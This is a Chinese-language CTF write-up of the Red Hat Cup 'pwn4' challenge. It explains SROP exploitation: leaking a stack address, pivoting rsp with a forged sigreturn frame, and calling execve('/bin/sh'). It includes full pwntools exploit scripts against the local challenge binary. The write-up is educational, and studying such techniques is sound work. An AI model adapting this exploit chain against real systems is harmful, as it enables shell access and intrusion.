SROP利用技术

上个周末的“红帽杯”结束了，战队成绩很不错，排名前几。不过有些题目是临时参考网上的思路解出来的，虽然得了分，但当时不是很理解。比赛完了把当时不太熟悉的题目回顾了一下，作为思路的总结和后续的参考。

本篇是针对pwn4的总结。

知道不知道是一种很让人满足的感觉，自己解出题目后，不由得感叹安全研究人员思路的巧妙。拿到PWN4后，在IDA中看了下：

程序非常简短，运行程序后会等待用户输入，将输入读取到栈顶，并从栈顶的位置取指令地址进行执行。

这道题目的利用技术为SROP，SROP网上已经有比较好的介绍文章了，如下：

http://www.freebuf.com/articles/network/87447.html

其主要思路是利用信号处理函数结束时，内核在恢复进程上下文时，需要从栈上取Signal Frame来恢复寄存器，由于栈上内容是我们可以控制的，因此可以利用这个过程，人为的操作Signal Frame，进而达到操作寄存器的目的。

首先我们需要知道几个系统调用号，如下：

由于我们可以控制ret后指令的地址（栈顶内容），因此我们可以将ret后的指令地址指向程序的起始位置处，达到重复多次输入的目的。

另外需要了解的知识点是，x86子程序的返回值是保存在rax中的，而在执行系统调用的时候，系统调用号也是保存在rax中的，因此我们可以利用这个特性，输入特定字节的内容，然后执行系统调用，就可以调用我们想要执行的函数了。

为了获得flag，我们最终的目的还是要建立一个shell，所以我们希望通过调用execve来执行/bin/sh，由于这个程序非常的简短，没有其他可写的位置，我们只能选择将“/bin/sh”字符串写到栈上去。

0x01 泄露栈地址

在动态调试的过程中，我们发现栈上保存了很多栈的地址：

因此如果能够将栈打印出来，我们是可以从中取到栈上的地址的，进而可以获得一个可以读写的地址。

我们可以构造一段负载，在程序读取这段负载后，可以继续接收输入，此时我们再输入1个字节，在输入结束后，执行系统调用，此时系统调用号为1，将调用write()，如果我们将write()函数的第2个参数指向栈，就可以打印栈上内容了。

因此我们实际的调用应该是write(标准输出，栈上地址，长度)，对应的参数分别存放于rdi, rsi, rdx中，我们看看这三个寄存器如何赋值：

Rdi - 可以通过指令“00000000004000BB mov     rdi, rax”进行赋值，此时rax恰好为1

Rsi – 可以通过指令“00000000004000B8 mov     rsi, rsp”进行赋值，在read过程中已经指向栈上了

Rdx – 可以通过指令“00000000004000B3 mov     edx, 400h”进行赋值，在read过程中已经赋值为400h了

因此我们在输入结束时，从00000000004000BB处开始执行，即可对rdi进行赋值，然后执行系统调用，然后返回。

我们来构造第一个输入，该输入结束后，我们期待栈的布局是这样的：

这样，在我们第一个输入结束后，程序会再次等待输入，此时我们输入1个字节后，将会开始执行syscall，此时write()将会被调用。需要注意的是，我们新的输入不能破坏栈上的内容，这个很容易做到，因为之前栈上的内容就是我们构造的。

泄露栈上地址的代码如下：

#!/usr/bin/python2
#-*- coding: utf-8 -*-

from pwn import *

context(os="linux", arch="amd64")

p = process("./pwn4")
read_ret 		= 0x00000000004000B0
rdi_syscall_ret = 0x00000000004000BB
syscall_ret 	= 0x00000000004000BE

#leak an address on stack
payload = 	p64(read_ret)
payload += 	p64(rdi_syscall_ret)
payload +=	p64(read_ret)

p.send(payload)

p.send(payload[8:9])

response = p.recv(24)
stackaddr = u64(response[16:24])
print "leaked stack addr:" + hex(stackaddr)
p.recv()
#This address is to be written
stackaddr = stackaddr & 0xFFFFFFFFFFFFF000

　经过这个步骤，我们得到了一个栈上可读写的地址，保存在stackaddr中，同时程序在等待我们再次输入。

0x02 将rsp指向可写地址

前面提到，在信号处理结束后，内核会从栈上取出Signal Frame，并从中恢复各个寄存器。为了使rsp指向stackaddr，我们需要在栈上构造一个Signal Frame，并且执行sigreturn系统调用。

这个Signal Frame关键的寄存器应该设置如下：

rsp = stackaddr

rip = syscall_ret

同样我们需要构造两次输入。我们希望在第一次输入后，栈的布局是这样的：

这样程序会在我们输入后，再次等待我们输入，如果我们再次输入15个字符，则输入结束后，会执行syscall来调用sigreturn，此时会从栈上恢复各寄存器的值，恢复后，rsp指向了stackaddr，rip指向了程序的起始位置，等待用户再次输入。请记住第二次输入同样不能破坏第一次输入后形成的栈布局。

此步骤代码如下：

#Trigger sigturn to repoint rsp to stackaddr
frame = SigreturnFrame()
frame.rsp = stackaddr
frame.rip = read_ret
payload =  p64(read_ret)
payload += p64(syscall_ret)
payload += str(frame)

p.send(payload)
#Programe is waitting for input now, we input 15 characters to trigger sigreturn
p.send(payload[8:23])

0x03 调用execve()建立shell

与第二步类似，我们希望通过sigreturn从栈上恢复Signal Frame时，将寄存器改写，从而来执行系统调用建立shell。我们同样需要两次输入，第一次输入进行栈布局，第二次输入触发sigreturn。

第一次输入后，我们希望栈的布局是这样的：

这样第一次输入后，程序会再次等待输入，此时我们输入15个字节，输入结束后，将会触发sigreturn调用，从栈上取Signal Frame恢复寄存器，我们将寄存器rax的值设置为59，rip设置为syscall_ret，将会执行execve()，该函数的参数通过rdi, rsi, rdx控制。

本步骤利用代码如下：

#Trigger sigturn to call execve("/bin/sh", NULL, NULL)
frame = SigreturnFrame()
frame.rax = 59	#execve
frame.rdi = stackaddr + 300
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

payload =  p64(read_ret)
payload += p64(syscall_ret)
payload += str(frame)
payload += "A"*(300 - len(payload))
payload += "/bin/sh\x00"
p.send(payload)

#Programe is waitting for input now, we input 15 characters to trigger sigreturn
p.send(payload[8:23])
p.interactive()

0x04 完整利用代码

至此，完整利用代码已经完成。如下：

#!/usr/bin/python2
#-*- coding: utf-8 -*-

from pwn import *

context(os="linux", arch="amd64")

p = process("./pwn4")
read_ret 		= 0x00000000004000B0
rdi_syscall_ret = 0x00000000004000BB
syscall_ret 	= 0x00000000004000BE

#leak an address on stack
payload = 	p64(read_ret)
payload += 	p64(rdi_syscall_ret)
payload +=	p64(read_ret)

p.send(payload)

p.send(payload[8:9])

response = p.recv(24)
stackaddr = u64(response[16:24])
print "leaked stack addr:" + hex(stackaddr)
p.recv()
#This address is to be written
stackaddr = stackaddr & 0xFFFFFFFFFFFFF000

#Trigger sigturn to repoint rsp to stackaddr
frame = SigreturnFrame()
frame.rsp = stackaddr
frame.rip = read_ret
payload =  p64(read_ret)
payload += p64(syscall_ret)
payload += str(frame)

p.send(payload)
#Programe is waitting for input now, we input 15 characters to trigger sigreturn
p.send(payload[8:23])

#Trigger sigturn to call execve("/bin/sh", NULL, NULL)
frame = SigreturnFrame()
frame.rax = 59	#execve
frame.rdi = stackaddr + 300
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

payload =  p64(read_ret)
payload += p64(syscall_ret)
payload += str(frame)
payload += "A"*(300 - len(payload))
payload += "/bin/sh\x00"
p.send(payload)

#Programe is waitting for input now, we input 15 characters to trigger sigreturn
p.send(payload[8:23])
p.interactive()

运行结果：